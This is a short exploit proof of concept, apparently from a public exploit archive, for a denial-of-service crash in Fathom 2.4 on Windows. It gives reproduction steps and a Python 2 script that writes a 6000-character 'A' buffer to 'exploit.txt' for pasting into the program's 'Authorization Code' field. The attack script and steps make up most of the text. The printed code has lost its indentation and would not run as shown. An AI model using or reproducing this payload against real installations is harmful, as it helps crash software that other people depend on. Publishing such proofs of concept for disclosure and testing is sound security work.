Fathom version 2.4 suffers from a denial of service vulnerability.
8b299a6b97d646d2f7063e90e22751e7 Exploit Title: Fathom 2.4 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-28
# Homepage: https://fathom.concord.org/
# Software Link: https://fathom.concord.org/download/
# Tested Version: v2.4
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file "exploit.txt".
# Now start the program, in the field named: "Authorization Code" paste the "exploit.txt" content copied eariler.
# Click "Activate" and see a crash!
#!/usr/bin/python
buffer = "A" * 6000
payload = buffer
try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"